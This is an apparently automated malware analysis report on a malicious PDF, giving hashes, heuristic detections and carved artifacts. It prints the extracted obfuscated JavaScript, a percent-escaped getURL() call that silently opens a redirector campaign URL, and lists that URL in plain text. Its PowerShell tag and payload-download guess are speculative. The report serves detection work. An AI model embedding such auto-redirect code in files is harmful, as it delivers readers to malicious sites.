Malicious PDF — malware analysis report

Static analysis result for SHA-256 27af53faba45b37a…

MALICIOUS

PDF

55.4 KB Created: 2011-01-14 00:17:46 +02:00 Authoring application: http://google.wiki.usfca.edu/ (via mPDF 5.0) First seen: 2026-05-08
MD5: 52f405156efc39ab7cffa44262b001f7 SHA-1: 2b9e44f31cd5fbdef95cb9f5cd81b872f4369572 SHA-256: 27af53faba45b37aa8cc429699a25fd40d3de109d4f73b652bc73264ed4abfea
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript file, 'javascript_obj0036_000.js', exhibits obfuscation and hex escape sequences, suggesting malicious intent. This script is likely responsible for downloading and executing a second-stage payload, a common technique for malware delivery. Due to the obfuscation, the exact download URL or execution method could not be definitively determined.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9174

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchglobalsite.com/in.cgi?17 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xD623 136 bytes
SHA-256: a2620a0be21a26956e8296a3c8163c8c260cb6a920586f15a19c6e170ac30940
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%37'))
stream_003_off00001b7a.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x1B7A 17888 bytes
SHA-256: 26a0aec83a016935f693109a557b4c53b8fb6e64b69b08fee2dab2f142acf1bc
font_01_sfnt_off000049d7.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x49D7 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007817.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7817 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516
font_03_sfnt_off0000aaa4.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xAAA4 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

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